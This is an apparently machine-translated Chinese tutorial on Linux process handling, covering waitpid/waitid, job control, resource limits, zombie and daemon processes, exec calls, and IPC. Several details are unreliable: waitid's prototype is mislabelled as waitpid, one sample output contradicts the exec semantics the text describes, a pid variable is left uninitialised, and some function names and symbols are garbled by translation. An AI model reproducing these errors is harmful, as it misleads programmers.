上面的调用在成功时返回已终止子进程的进程ID,在失败时返回-1。 waitpid()系统调用暂停当前进程的执行并无限期地等待,直到指定的子进程(根据pid值)终止。 子女的终止状态在状态中可用。

pid的值可以是以下任一项 -

  • 《 -1 - 等待进程组ID等于pid绝对值的任何子进程。

  • -1 - 等待任何子进程,等于wait()系统调用的进程。

  • 0 - 等待进程组ID等于调用进程ID的任何子进程。

  • 》0 - 等待进程ID等于pid值的任何子进程。

默认情况下,waitpid()系统调用仅等待已终止的子项,但可以使用options参数修改此默认行为。

现在让我们以程序为例,等待具有进程ID的特定进程。

/*文件名:waitpid_test.c */

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
   int pid;
   int pids[3];
   int status;
   int numprocesses = 0;
   int total_processes = 3;
   while (numprocesses < total_processes) {
      pid = fork();
      // Child process
      if (pid == 0) {
         printf("In child process: process id is %d\n", getpid());
         sleep(5);
         return 4;
      } else {
         pids[numprocesses] = pid;
         numprocesses++;
         printf("In parent process: created process number: %d\n", pid);
      }
   }
   // Waiting for 3rd child process
   waitpid(pids[total_processes - 1], &status, 0);
   if (WIFEXITED(status) != 0) {
      printf("process %d exited normally\n", pids[total_processes - 1]);
      printf("exit status from child is %d\n", WEXITSTATUS(status));
   } else {
      printf("process %d not exited normally\n", pids[total_processes - 1]);
   }
   return 0;
}

编译和执行后,输出如下。

In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4

现在,让我们检查waitid()系统调用。 此系统调用等待子进程更改状态。

#include <sys/wait.h>
int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);

上述系统调用等待子进程更改状态,此调用暂停当前/调用进程,直到其任何子进程更改其状态。 参数'infop'是记录孩子的当前状态。 如果进程已经更改其状态,则此调用立即返回。

idtype的值可以是以下任一项 -

  • P_PID - 等待其进程ID等于id的任何子进程。

  • P_PGID - 等待任何子进程,其进程组ID等于id。

  • P_ALL - 等待任何子进程并忽略id。

  • options参数用于指定哪些状态更改,这可以通过使用下面提到的标志的按位OR运算形成 -

  • WCONTINUED - 返回已停止且已继续的任何子项的状态。

  • WEXITED - 等待进程退出。

  • WNOHANG - 立即返回。

  • WSTOPPED - 收到信号后,等待已停止的任何孩子的过程并返回状态。

如果由于其中一个子节点的状态发生变化而返回此调用,则返回0,并使用WNOHANG。 如果出现错误,它返回-1并设置相应的错误编号。

/*文件名:waitid_test.c */

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
   int pid;
   int pids[3];
   int status;
   int numprocesses = 0;
   int total_processes = 3;
   siginfo_t siginfo;
   while (numprocesses < total_processes) {
      pid = fork();
      // Child process
      if (pid == 0) {
         printf("In child process: process id is %d\n", getpid());
         sleep(5);
         return 2;
      } else {
         pids[numprocesses] = pid;
         numprocesses++;
         printf("In parent process: created process number: %d\n", pid);
      }
   }
   // Waiting for 3rd child process
   status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
   if (status == -1) {
      perror("waitid error");
      return 1;
   }
   printf("Info received from waitid is: ");
   printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
   return 0;
}

在执行和编译上述程序之后,结果如下。

In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875

Process Groups, Sessions & Job Control

在本章中,我们将熟悉流程组,会话和作业控制。

Process Group - 流程组是一个或多个流程的集合。 进程组由共享相同进程组标识符(PGID)的一个或多个进程组成。 进程组ID(PGID)与进程ID属于同一类型(pid_t)。 进程组具有进程组负责人,该进程组负责创建组并且其进程ID成为组的进程组ID。

Sessions - 它是各种流程组的集合。

Job Control - 这允许shell用户同时执行多个命令(或作业),一个在前台,另一个在后台。 也可以将作业从前景移动到后台,反之亦然。

让我们在使用shell(BASH)的示例程序的帮助下理解这一点。

  • Shell脚本(在BASH中)执行名为basic_commands.sh的基本命令(date,echo,sleep和cal)

  • Shell脚本(在BASH中)执行基本命令(ps,echo)

#!/bin/bash
#basic_commands.sh
date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal

#!/bin/bash
#process_status.sh
ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps

使用chmod命令为文件赋予执行权限。 默认情况下,普通文件只获得读写权限而不执行权限。

要停止当前运行的进程,需要输入CTRL + Z. 这给你一个工号。 作业可以在前台或后台恢复。 如果需要,要在前台恢复作业,请使用'fg'命令。 如果需要,要在后台恢复作业,请使用“bg”命令。 通过使用它,它将只运行最后停止的进程。 如果你想要从最后一个停止过程开始以外怎么办? 只需在fg或bg之后使用作业号(比如bg%2或bg%3等)。 如果正在运行的作业在后台,您可以在前台运行任何其他任务。 要获取作业列表,请使用命令,作业。 也可以使用CTRL + C或kill命令终止进程。 您可以在使用kill命令时传递作业号。

检查以下输出,该输出演示停止作业,将作业从前台移动到后台,反之亦然,终止作业等。

chmod u+x basic_commands.sh
chmod u+x process_status.sh
./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
<b class="notranslate">Now sleeping for 250 seconds, so that testing job control functionality is smooth</b>
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID   TTY   TIME     CMD
2295  pts/1 00:00:00 bash
4222  pts/1 00:00:00 basic_commands.
4224  pts/1 00:00:00 sleep
4225  pts/1 00:00:00 process_status.
4226  pts/1 00:00:00 ps
<b class="notranslate">Now sleeping for 200 seconds, so that testing job control functionality is smooth</b>
^Z
[2]+ Stopped      ./process_status.sh
jobs
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped      ./basic_commands.sh
jobs
[1]+ Stopped      ./basic_commands.sh
[2]- Stopped      ./process_status.sh
bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped      ./basic_commands.sh
jobs
[1]+ Stopped      ./basic_commands.sh
[2]- Running      ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
jobs
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh
kill %1 %2
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh
[1]- Terminated   ./basic_commands.sh
[2]+ Terminated   ./process_status.sh

Process Resources

该过程需要某些资源(如CPU和内存)来执行任务。 现在我们将查看相关的命令和系统调用,以了解有关资源利用率和监视的信息。 此外,对于资源上的每个进程,默认情况下也存在某些限制,如果需要,可以增强限制以适应应用程序要求。

以下是使用命令的基本系统或过程资源信息 -

The top command

$ top

top命令持续显示系统资源的使用情况。 如果任何进程将系统置于某种挂起状态(消耗更多的CPU或内存),则可以记录进程信息并采取适当的操作(例如终止相关进程)。

The ps command

$ ps

ps命令提供有关所有正在运行的进程的信息。 这有助于监视和控制进程。

The vmstat command

$ vmstat

vmstat命令报告虚拟内存子系统的统计信息。 它报告进程的信息(等待运行,休眠,可运行的进程等),内存(虚拟内存信息,如空闲,使用等),交换区域,IO设备,系统信息(中断数量,上下文切换) )和CPU(用户,系统和空闲时间)。

The lsof command

$ lsof

lsof命令打印所有当前正在运行的进程(包括系统进程)的打开文件列表。

The getconf command

$ getconf –a

getconf命令显示系统配置变量信息。

现在,让我们来看看相关的系统调用。

  • 系统调用getrusage(),它提供有关系统资源使用情况的信息。

  • 与访问和设置资源限制相关的系统调用,即getrlimit(),setrlimit(),prlimit()。

系统资源使用调用

#include <sys/time.h>
#include <sys/resource.h>
int getrusage(int who, struct rusage *usage);

系统调用getrusage()返回有关系统资源使用情况的信息。 这可以包括关于self,children或调用线程的信息,使用标志RUSAGE_SELF,RUSAGE_CHILDREN,RUSAGE_THREAD作为“who”变量。 在调用之后,它返回结构rusage中的信息。

成功时此调用将返回“0”,失败时返回“-1”。

让我们看看以下示例程序。

/*文件名:sysinfo_getrusage.c */

#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
   struct rusage res_usage;
   int retval;
   retval = getrusage(RUSAGE_SELF, &res_usage);
   if (retval == -1) {
      perror("getrusage error");
      return;
   }
   printf("Details of getrusage:\n");
   printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
   printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
   printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
   printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
   printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
   printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
   printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
   printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
   printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
   return;
}

编译和执行步骤 (Compilation and Execution Steps)

Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1

现在让我们看一下与访问和设置资源限制相关的系统调用。

#include <sys/time.h>
#include <sys/resource.h>
int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);

系统调用getrlimit()通过输入RLIMIT_NOFILE,RLIMIT_NPROC,RLIMIT_STACK等所需的资源来获取结构rlimit中的资源限制。

系统调用setrlimit()设置rlimit结构中提到的资源限制,直到限制范围内。

系统调用prlimit()用于varius目的,例如用于检索当前资源限制或用于将资源限制更新为新值。

结构rlimit包含两个值 -

  • Soft limit - 电流限制

  • Hard limit - 可以扩展的最大限制。

RLIMIT_NOFILE - 返回此进程可以打开的最大文件描述符数。 例如,如果它返回1024,则该进程具有从0到1023的文件描述符。

RLIMIT_NPROC - 可为该进程的用户创建的最大进程数。

RLIMIT_STACK - 该进程的堆栈段的最大大小(以字节为单位)。

所有这些调用在成功时返回“0”,在失败时返回“-1”。

让我们考虑以下使用getrlimit()系统调用的示例。

/*文件名:sysinfo_getrlimit.c */

#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
   struct rlimit res_limit;
   int retval;
   int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
   int max_res;
   int counter = 0;
   printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
   max_res = sizeof(resources)/sizeof(int);
   while (counter < max_res) {
      retval = getrlimit(resources[counter], &res_limit);
      if (retval == -1) {
         perror("getrlimit error");
         return;
      }
      printf("Soft Limit is %ld\n", res_limit.rlim_cur);
      printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
      counter++;
   }
   return;
}

编译和执行步骤 (Compilation and Execution Steps)

Details of resource limits for NOFILE, NPROC, STACK are as follows: 
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432

让我们考虑使用getrlimit()系统调用的另一个例子,但现在使用prlimit()系统调用。

/*文件名:sysinfo_prlimit.c */

#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
   struct rlimit res_limit;
   int retval;
   int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
   int max_res;
   int counter = 0;
   printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
   max_res = sizeof(resources)/sizeof(int);
   while (counter < max_res) {
      retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
      if (retval == -1) {
         perror("prlimit error");
         return;
      }
      printf("Soft Limit is %ld\n", res_limit.rlim_cur);
      printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
      counter++;
   }
   return;
}

编译和执行步骤 (Compilation and Execution Steps)

Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: 
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432

Other Processes

到目前为止,我们已经讨论了流程,创建,父流程和子流程等。如果不讨论其他相关流程,例如孤儿流程,僵尸流程和守护进程,讨论将是不完整的。

孤儿过程

如名称所示,孤儿意味着无父进程。 当我们运行程序或应用程序时,应用程序的父进程是shell。 当我们使用fork()创建进程时,新创建的进程是子进程,创建子进程的进程是父进程。 反过来,这个的父进程是shell。 当然,所有进程的父进程都是init进程(进程ID→1)。

以上是一种常见的情况,但是,如果父进程在子进程之前退出,会发生什么。 结果是,子进程现在变成了孤儿进程。 那么它的父节点,它的新父节点是所有进程的父节点,它只是init进程(进程ID-1)。

让我们使用以下示例尝试理解这一点。

/*文件名:orphan_process.c */

#include<stdio.h>
#include<stdlib.h>
int main() {
   int pid;
   system("ps -f");
   pid = fork();
   if (pid == 0) {
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(5);
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      system("ps -f");
   } else {
      printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(2);
      exit(0);
   }
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

UID         PID   PPID  C STIME TTY    TIME CMD
4581875  180558      0  0 09:19  ?     00:00:00 sh -c cd /home/cg/root/4581875; 
                                       timeout 10s main
4581875  180564 180558  0 09:19  ?     00:00:00 timeout 10s main
4581875  180565 180564  0 09:19  ?     00:00:00 main
4581875  180566 180565  0 09:19  ?     00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID         PID   PPID  C STIME TTY    TIME CMD
4581875  180567      0  0 09:19  ?     00:00:00 main
4581875  180820 180567  0 09:19  ?     00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0

僵尸进程

简单来说,假设您有两个进程,即父进程和子进程。 父进程负责等待子进程,然后从进程表中清除子进程条目。 如果父进程没有准备好等待子进程,并且同时子进程完成其工作并退出,该怎么办? 现在,子进程将成为僵尸进程。 当然,在父进程准备好之后,清理僵尸进程。

让我们借助一个例子来理解这一点。

/*文件名:zombie_process.c */

#include<stdio.h>
#include<stdlib.h>
int main() {
   int pid;
   pid = fork();
   if (pid == 0) {
      system("ps -f");
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      exit(0);
   } else {
      printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(10);
      system("ps aux|grep Z");
   }
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

UID         PID   PPID  C STIME TTY    TIME CMD
4581875  184946      0  0 09:20  ?     00:00:00 sh -c cd /home/cg/root/4581875; 
                                       timeout 10s main
4581875  184952 184946  0 09:20  ?     00:00:00 timeout 10s main
4581875  184953 184952  0 09:20  ?     00:00:00 main
4581875  184954 184953  0 09:20  ?     00:00:00 main
4581875  184955 184954  0 09:20  ?     00:00:00 ps -f
Child: pid is 184954 and ppid is 184953

守护进程

简单来说,没有任何关联的shell或终端的进程称为守护进程。 为什么需要这个? 这些是在后台运行以按预定义的间隔执行操作并且还响应某些事件的过程。 守护进程不应该有任何用户交互,因为它作为后台进程运行。

内部Linux守护进程通常以字母“d”结尾,例如内核守护进程(ksoftirqd,kblockd,kswapd等),Printing Daemons(cupsd,lpd等),文件服务守护进程(smbd,nmbd等) ,管理数据库守护进程(ypbind,ypserv等),电子邮件守护进程(sendmail,popd,smtpd等),远程登录和命令执行守护进程(sshd,in.telnetd等),引导和配置守护进程(dhcpd) ,udevd等),init进程(init),cron守护进程,atd守护进程等。

现在让我们看看如何创建一个守护进程。 以下是步骤 -

Step 1 - 创建子进程。 现在我们有两个进程 - 父进程和子进程

通常,流程层次结构是SHELL→PARENT PROCESS→CHILD PROCESS

Step 2 - 退出终止父进程。 子进程现在成为孤立进程,并由init进程接管。

现在,层次结构是INIT PROCESS→CHILD PROCESS

Step 3 - 如果调用进程不是进程组负责人,则调用setsid()系统调用会创建一个新会话。 现在,调用进程成为新会话的组长。 此过程将是此新流程组和此新会话中的唯一流程。

Step 4 - 将进程组ID和会话ID设置为调用进程的PID。

Step 5 - 关闭进程的默认文件描述符(标准输入,标准输出和标准错误),因为终端和shell现在已与应用程序断开连接。

/*文件名:daemon_test.c */

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char *argv[]) {
   pid_t pid;
   int counter;
   int fd;
   int max_iterations;
   char buffer[100];
   if (argc < 2)
   max_iterations = 5;
   else {
      max_iterations = atoi(argv[1]);
      if ( (max_iterations <= 0) || (max_iterations > 20) )
      max_iterations = 10;
   }
   pid = fork();
   // Unable to create child process
   if (pid < 0) {
      perror("fork error\n");
      exit(1);
   }
   // Child process
   if (pid == 0) {
      fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
      if (fd == -1) {
         perror("daemon txt file open error\n");
         return 1;
      }
      printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
      printf("\nChild process before becoming session leader\n");
      sprintf(buffer, "ps -ef|grep %s", argv[0]);
      system(buffer);
      setsid();
      printf("\nChild process after becoming session leader\n");
      sprintf(buffer, "ps -ef|grep %s", argv[0]);
      system(buffer);
      close(STDIN_FILENO);
      close(STDOUT_FILENO);
      close(STDERR_FILENO);
   } else {
      printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
      printf("Parent: Exiting\n");
      exit(0);
   }
   // Executing max_iteration times
   for (counter = 0; counter < max_iterations; counter++) {
      sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
      write(fd, buffer, strlen(buffer));
      sleep(2);
   }
   strcpy(buffer, "Done\n");
   write(fd, buffer, strlen(buffer));
   // Can't print this as file descriptors are already closed
   printf("DoneDone\n");
   close(fd);
   return 0;
}

Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875  193525      0  0 09:23  ?      00:00:00 main
4581875  193526 193525  0 09:23  ?      00:00:00 sh -c ps -ef|grep main
4581875  193528 193526  0 09:23  ?      00:00:00 grep main
4581875  193525      0  0 09:23  ?      00:00:00 main
4581875  193529 193525  0 09:23  ?      00:00:00 sh -c ps -ef|grep main
4581875  193531 193529  0 09:23  ?      00:00:00 grep main

Overlaying Process Image

假设我们正在运行一个程序,我们想从当前程序运行另一个程序。 这可能吗? 如果我们实施覆盖过程映像的概念,为什么不呢。 那很好但是当前正在运行的程序呢,也可以运行。 怎么可能,因为我们将当前的计划与新计划重叠。 该怎么做,如果我想在不丢失当前正在运行的程序的情况下运行这两个程序,是否可能? 对的,这是可能的。

创建子进程,以便我们有一个父进程和一个新创建的子进程。 我们已经在父进程中运行当前程序,因此在子进程中运行新创建的进程。 通过这种方式,我们可以从当前程序运行另一个程序。 不仅是单个程序,而且我们可以通过创建许多子进程来从当前程序运行任意数量的程序。

让我们以下面的程序为例。

/*文件名:helloworld.c */

#include<stdio.h>
void main() {
   printf("Hello World\n");
   return;
}

/*文件名:execl_test.c */

#include<stdio.h>
#include<unistd.h>
void main() {
   execl("./helloworld", "./helloworld", (char *)0);
   printf("This wouldn't print\n");
   return;
}

以上程序将使用helloworld覆盖execl_test的过程映像。 这就是为什么不执行execl_test(printf())的过程映像代码。

编译和执行步骤 (Compilation and Execution Steps)

Hello World

现在,我们将从一个程序运行以下两个程序,即execl_run_two_prgms.c。

  • Hello World程序(helloworld.c)

  • while循环程序从1到10打印(while_loop.c)

/*文件名:while_loop.c */

/* Prints numbers from 1 to 10 using while loop */
#include<stdio.h>
void main() {
   int value = 1;
   while (value <= 10) {
      printf("%d\t", value);
      value++;
   }
   printf("\n");
   return;
}

以下是运行两个程序的程序(一个程序来自子程序,另一个程序来自父程序)。

/*文件名:execl_run_two_prgms.c */

#include<stdio.h>
#include<unistd.h>
void main() {
   int pid;
   pid = fork();
   /* Child process */
   if (pid == 0) {
      printf("Child process: Running Hello World Program\n");
      execl("./helloworld", "./helloworld", (char *)0);
      printf("This wouldn't print\n");
   } else { /* Parent process */
      sleep(3);
      printf("Parent process: Running While loop Program\n");
      execl("./while_loop", "./while_loop", (char *)0);
      printf("Won't reach here\n");
   }
   return;
}

Note - 放置sleep()调用以确保子进程和父进程按顺序运行(不与结果重叠)。

编译和执行步骤 (Compilation and Execution Steps)

Child process: Running Hello World Program
This wouldn't print
Parent process: Running While loop Program
Won't reach here

现在我们将从一个程序运行两个程序,即execl_run_two_prgms.c,与上面相同的程序,但使用命令行参数。 因此,我们运行两个程序,即子进程中的helloworld.c和父进程中的程序while_loop.c。 这如下 -

  • Hello World程序(helloworld.c)

  • while循环程序按照命令行参数从1到num_times_str打印(while_loop.c)

该计划广泛执行以下行动 -

  • 创建子进程

  • 子进程执行helloworld.c程序

  • 父进程执行while_loop.c程序,将命令行参数值作为参数传递给程序。 如果未传递命令行参数,则默认值为10.否则,它将采用给定的参数值。 参数值应为数字; 如果在字母表中给出,代码将无法验证。

/*文件名:execl_run_two_prgms.c */

#include<stdio.h>
#include<string.h>
#include<unistd.h>
void main(int argc, char *argv[0]) {
   int pid;
   int err;
   int num_times;
   char num_times_str[5];
   /* In no command line arguments are passed, then loop maximum count taken as 10 */
   if (argc == 1) {
      printf("Taken loop maximum as 10\n");
      num_times = 10;
      sprintf(num_times_str, "%d", num_times);
   } else {
      strcpy(num_times_str, argv[1]);
      printf("num_times_str is %s\n", num_times_str);
      pid = fork();
   }
   /* Child process */
   if (pid == 0) {
      printf("Child process: Running Hello World Program\n");
      err = execl("./helloworld", "./helloworld", (char *)0);
      printf("Error %d\n", err);
      perror("Execl error: ");
      printf("This wouldn't print\n");
   } else { /* Parent process */
      sleep(3);
      printf("Parent process: Running While loop Program\n");
      execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
      printf("Won't reach here\n");
   }
   return;
}

以下是从程序的子进程execl_run_two_prgms.c调用的helloworld.c程序。

/*文件名:helloworld.c */

#include<stdio.h>
void main() {
   printf("Hello World\n");
   return;
}

以下是从程序的父进程execl_run_two_prgms.c调用的while_loop.c程序。 该程序的参数是从运行它的程序传递的,即execl_run_two_prgms.c。

/*文件名:while_loop.c */

#include<stdio.h>
void main(int argc, char *argv[]) {
   int start_value = 1;
   int end_value;
   if (argc == 1)
   end_value = 10;
   else
   end_value = atoi(argv[1]);
   printf("Argv[1] is %s\n", argv[1]);
   while (start_value <= end_value) {
      printf("%d\t", start_value);
      start_value++;
   }
   printf("\n");
   return;
}

编译和执行步骤 (Compilation and Execution Steps)

Taken loop maximum as 10
num_times_str is 10
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 10
1 2 3 4 5 6 7 8 9 10
Taken loop maximum as 15
num_times_str is 15
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

现在让我们看看叠加图像相关的库函数。

#include<unistd.h>
int execl(const char *path, const char *arg, ...);

此函数将使用参数,路径和arg中提到的新进程覆盖当前正在运行的进程映像。 如果任何参数需要传递给新的过程映像,那么将通过“arg”参数发送,最后一个参数应为NULL。

此函数仅在出现错误时才返回值。 覆盖图像相关调用的过程如下所述 -

int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);

这些调用将解决传递命令行参数(argv []),环境变量(envp [])和其他参数。

Related System Calls (System V)

下表列出了各种系统调用及其说明。

类别 系统调用 描述
General 打开() 此系统调用将打开现有文件或创建并打开新文件。
General creat() 创建并打开一个新文件。
General 读() 将文件的内容读入所需的缓冲区。
General 写() 将缓冲区的内容写入文件。
General 关 () 关闭文件描述符。
General stat() 提供有关该文件的信息。
Pipes 管() 创建用于通信的管道,该管道返回两个用于读写的文件描述符。
命名管道或Fifo mknod() 创建内存设备文件或特殊文件以创建FIFO
命名管道或Fifo mkfifo() 创建一个新的FIFO
共享内存 shmget() 创建新的共享内存段或获取现有段的标识符。
共享内存 shmat() 附加共享内存段并使该段成为调用进程的虚拟内存的一部分。
共享内存 shmdt() 分离共享内存段。
共享内存 shmctl() 执行共享内存的控制操作。 共享存储器的通用控制操作中很少是移除共享存储器段(IPC_RMID),接收共享存储器(IPC_STAT)的信息并更新现有共享存储器(IPC_SET)的新值。
消息队列 msgget() 创建新的消息队列或访问已存在的消息队列,并获取句柄或标识符以执行有关消息队列的操作,例如将消息发送到队列以及从队列接收消息。
消息队列 msgsnd() 使用所需的标识号将消息发送到所需的消息队列。
消息队列 msgrcv() 从消息队列接收消息。 默认情况下,这是无限等待操作,意味着在收到消息之前,呼叫将被阻止。
消息队列 msgctl() 执行消息队列的控制操作。 消息队列的通用控制操作很少是删除消息队列(IPC_RMID),接收消息队列(IPC_STAT)的信息并更新现有消息队列(IPC_SET)的新值。
Semaphores semget() 创建新的信号量或获取现有信号量的标识符。 信号量用于在处理同一对象的各种IPC之间执行同步。
Semaphores semop() 对信号量值执行信号量操作。 基本信号量操作是获取或释放信号量上的锁。
Semaphores semctl() 执行信号量的控制操作。 信号量的通用控制操作很少是移除信号量(IPC_RMID),接收信号量(IPC_STAT)的信息并更新现有信号量(IPC_SET)的新值。
Signals 信号() 设置信号(信号编号)和信号处理程序的配置。 换句话说,注册例程,该例程在引发该信号时执行。
Signals sigaction() 与signal()相同,设置信号的配置,即在收到注册信号后根据注册信号处理程序执行某些操作。 该系统调用支持更好地控制signal(),例如阻塞某些信号,在调用信号处理程序后将信号动作恢复到默认状态,提供诸如用户和系统的消耗时间,发送过程的进程ID等信息。
内存映射 mmap() 将文件映射到内存中。 一旦映射到内存中,访问文件就像使用地址访问数据一样简单,并且通过这种方式,调用并不像系统调用那样昂贵。
内存映射 munmap() 从内存中取消映射映射文件。

System V & Posix

下表列出了System V IPC和POSIX IPC之间的差异。

系统五 POSIX
AT&T(1983)推出了三种新形式的IPC设施,即消息队列,共享内存和信号量。 IEEE规定的可移植操作系统接口标准,用于定义应用程序编程接口(API)。 POSIX涵盖了IPC的所有三种形式
SYSTEM V IPC涵盖所有IPC机制,即管道,命名管道,消息队列,信号,信号量和共享内存。 它还包括socket和Unix Domain套接字。 几乎所有基本概念都与系统V相同。它只与界面不同
共享内存接口调用shmget(),shmat(),shmdt(),shmctl() 共享内存接口调用shm_open(),mmap(),shm_unlink()
消息队列接口调用msgget(),msgsnd(),msgrcv(),msgctl() 消息队列接口调用mq_open(),mq_send(),mq_receive(),mq_unlink()
信号量接口调用semget(),semop(),semctl() 信号量接口调用命名信号量sem_open(),sem_close(),sem_unlink(),sem_post(),sem_wait(),sem_trywait(),sem_timedwait(),sem_getvalue()未命名或基于内存的信号量sem_init(),sem_post(),sem_wait (),sem_getvalue(),sem_destroy()
使用密钥和标识符来标识IPC对象。 使用名称和文件描述符来标识IPC对象
NA 可以使用select(),poll()和epoll API监视POSIX消息队列
提供msgctl()调用 提供访问或设置属性的函数(mq_getattr()和mq_setattr())11。IPC - System V&POSIX
NA 多线程安全。 涵盖线程同步函数,如互斥锁,条件变量,读写锁等。
NA 为消息队列提供一些通知功能(例如mq_notify())
需要系统调用(如shmctl(),命令(ipcs,ipcrm))来执行状态/控制操作。 可以使用系统调用(例如fstat(),fchmod())检查和操作共享内存对象
System V共享内存段的大小在创建时是固定的(通过shmget()) 我们可以使用ftruncate()调整底层对象的大小,然后使用munmap()和mmap()(或特定于Linux的mremap())重新创建映射。

Inter Process Communication - Pipes

管道是两个或多个相关或相互关联的过程之间的通信媒介。 它可以在一个进程内,也可以在子进程和父进程之间进行通信。 通信也可以是多层次的,例如父母,孩子和孙子之间的通信等。通过写入管道的一个过程和管道的其他读取来实现通信。 要实现管道系统调用,请创建两个文件,一个用于写入文件,另一个用于从文件中读取。

管道机制可以通过实时场景来查看,例如用管道将水倒入某个容器,比如水桶,还有人用杯子取出它。 填充过程只不过是写入管道,读取过程只不过是从管道中取出。 这意味着一个输出(水)输入另一个(桶)。

管道一个
#include<unistd.h>
int pipe(int pipedes[2]);

该系统调用将创建用于单向通信的管道,即,它创建两个描述符,第一个连接到管道读取而另一个连接以写入管道。

描述符pipedes [0]用于读取,pipedes [1]用于写入。 无论写入管道[1]是什么都可以从pipedes [0]中读取。

此调用在成功时返回零,在失败时返回-1。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);

即使文件的基本操作是读写,也必须在执行操作之前打开文件,并在完成所需操作后关闭文件。 通常,默认情况下,为每个进程打开3个描述符,分别用于输入(标准输入 - 标准输入),输出(标准输出 - 标准输出)和错误(标准错误 - 标准错误),文件描述符分别为0,1和2。

该系统调用将返回用于读/写/查找(lseek)的进一步文件操作的文件描述符。 通常,文件描述符从3开始,并随着打开的文件数增加一个数字。

